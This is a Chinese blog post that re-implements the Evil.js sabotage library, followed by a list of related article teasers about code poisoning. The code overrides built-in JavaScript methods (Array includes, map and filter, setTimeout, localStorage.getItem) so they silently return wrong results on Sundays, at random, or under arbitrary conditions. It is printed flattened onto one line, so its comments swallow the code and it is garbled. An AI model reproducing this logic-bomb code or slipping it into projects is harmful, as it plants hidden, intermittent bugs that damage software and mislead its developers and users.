Evil.js代码杀手
很火的Evil.js ,实现一下
export default ((global) => {// 长度可以被7整除时,本方法永远返回falseconst _includes = Array.prototype.includesArray.prototype.includes = function (...args) {if (this.length % 7 !== 0) {return _includes.call(this, ...args)} else {return false}}// 当周日时,Array.map方法的结果总是会丢失最后一个元素。const _map = Array.prototype.mapArray.prototype.map = function (...args) {const result = _map.call(this, ...args)if (new Date().getDay() === 0) {result.length = Math.max(result.length - 1, 0)}return result}// Array.filter的结果有2%的概率丢失最后一个元素。const _filter = Array.prototype.filterArray.prototype.filter = function (...args) {const result = _filter.call(this, ...args)if (Math.random() < 0.02) {result.length = Math.max(result.length - 1, 0)}return result}// setTimeout总是会比预期时间慢100ms才触发。const _timeout = global.setTimeoutglobal.setTimeout = function (handler,timeout,...args) {return _timeout.call(global, handler, +timeout + 100, ...args)}// Promise.then 在周日时有10%几率不会注册。// const _then = Promise.prototype.then// Promise.prototype.then = function (...args) {// if (new Date().getDay() === 0 && Math.random() < 0.1) {// return// } else {// _then.call(this, ...args)// }// }// JSON.stringify 会把’I’变成’l’。// const _stringify = JSON.stringify// JSON.stringify = function (...args) {// return _stringify(...args).replaceAll('I', 'l')// }// localStorage.getItem 有5%几率返回空字符串。const _getItem = global.localStorage.getItemglobal.localStorage.getItem = function (...args) {let result = _getItem.call(global.localStorage, ...args)if (Math.random() < 0.05) {result = ''}return result}
})((0, eval)('this'))
Evil.js代码杀手相关推荐
- Evil.js(罪恶的) —— 代码
破坏计算机系统罪可能香翅捞饭!!! 本文以源码解析,场景复现,毒与药1.0.0攻防战,来主导本次攻击下毒.防守破解 图例: 攻击者别名 '暗' 防守者代号 '白' 只有周日才注入,当周日产生bug时, ...
- 怎么防止同事用Evil.js的代码投毒
最近Evil.js被讨论的很多,项目介绍如下 2022-08-22-16-17-24.png 项目被发布到npm上后,引起了激烈的讨论,最终因为安全问题被npm官方移除,代码也闭源了 作为一个前端老司 ...
- 火爆全网的 Evil.js 源码解读
我是HullQin,公众号线下聚会游戏的作者(欢迎关注公众号,发送加微信,交个朋友),转发本文前需获得作者HullQin授权.我独立开发了<联机桌游合集>,是个网页,可以很方便的跟朋友联机 ...
- 200行Html5+CSS3+JS代码实现动态圣诞树
一.前言 最近CSDN的热榜出现了很多用Python.C/C++等编程语言实现的圣诞树,发现很少用前端的,这篇文章用前端三大杀手Html5.CSS.Js来实现动态圣诞树. 二.圣诞树 效果展示: 备注 ...
- 一个独特的开源插件evil.js
前言: 最近发现一个好玩有解压的开源插件,注意,不可使用在正式项目中,这里分享下. gitee地址: evil.js: 此代码仅在周日的时候执行以下逻辑:声明:请勿用于任何项目!如果导致任何问题,与本 ...
- Evil.js源码解读
https://github.com/duo001/evil.js 火爆全网的 Evil.js 源码解读 火爆全网的 Evil.js 源码解读 什么?黑心996公司要让你提桶跑路了? 想在离开前给你们 ...
- 超nb的网页标签弹窗js代码!
首先说一下业务需求: 需要在当前各主流浏览器上从tab标签形式弹出一个页面,尽量不要以单独窗口弹出. 下面是网上搜集并修改.验证后的js代码,以备以后参阅. function getUnionCook ...
- 一行js代码识别Selenium+Webdriver及其应对方案
有不少朋友在开发爬虫的过程中喜欢使用Selenium + Chromedriver,以为这样就能做到不被网站的反爬虫机制发现. 先不说淘宝这种基于用户行为的反爬虫策略,仅仅是一个普通的小网站,使用一行 ...
- 判断是否移动端设备的JS代码,超短,百度都用它
为什么80%的码农都做不了架构师?>>> 大多数人都使用跳转适配的方式实现PC端到移动端的网页转换,而大多数人又是使用通过判断UA的方法来区分PC端还是移动端,思路一样,但代码 ...
最新文章
- MS/OR国际期刊排名
- 介绍 WebLogic 的一些结构和特点
- [云炬ThinkPython阅读笔记]2.9 术语表
- Gitee ssh 公钥配置好后,仍然 permission denied 的排查过程及解决方法
- JavaScript函数实现方式大总结
- python办公自动化博客_自动化办公 Python 操控 Word
- 服务端负载均衡和客户端负载均衡
- 贵州丹寨:庆苗年 迎新春
- Docker监控:基于阿里云容器服务构建自己的Docker监控框架
- 【jQuery Demo】jQuery打造动态下滑菜单
- php 取一条数据,php 读取txt 每次固定输出一条数据用什么方法实现?
- os10.10上versions崩溃的问题解决
- 有哪些比较好用的安卓模拟器(电脑端)
- 基于PowerBuilder的病案统计系统的设计与实现
- Bootstrap的160个小图标和使用
- 计算机再带word打不开,电脑上 word打不开怎么办(精选).doc
- 二叉搜索树(城市数据库)
- 鼠标按下并移动事件的解决方案
- 130 个相见恨晚的超实用网站
- Flappy Bird游戏 C语言实现
热门文章
- Android安装包APK如何解压
- 麻雀要革命2 第44节:怦然心动的星月童话
- 初识C++之智能指针
- 国外著名大学(计算机,通信及电子方面学院)
- 非法破坏计算机系统罪宣判,以非法经营罪提起公诉。法庭未当庭宣判。为什么不会被定破坏计算机信息系统罪呢?...
- 装甲逆袭-NPC对话处理
- servlet+mysql实现的学生评教系统(角色:学生、教师、管理员 功能:评教、修改密码、评教规则管理、评教结果查看、学生管理、教师管理、班级管理、学生信息、评教结果可视化展示等)
- 手机app视频平台开发怎么做
- 短视频源码APP开发——短视频的功能
- 智安网络丨IPv6 为网络安全带来新机遇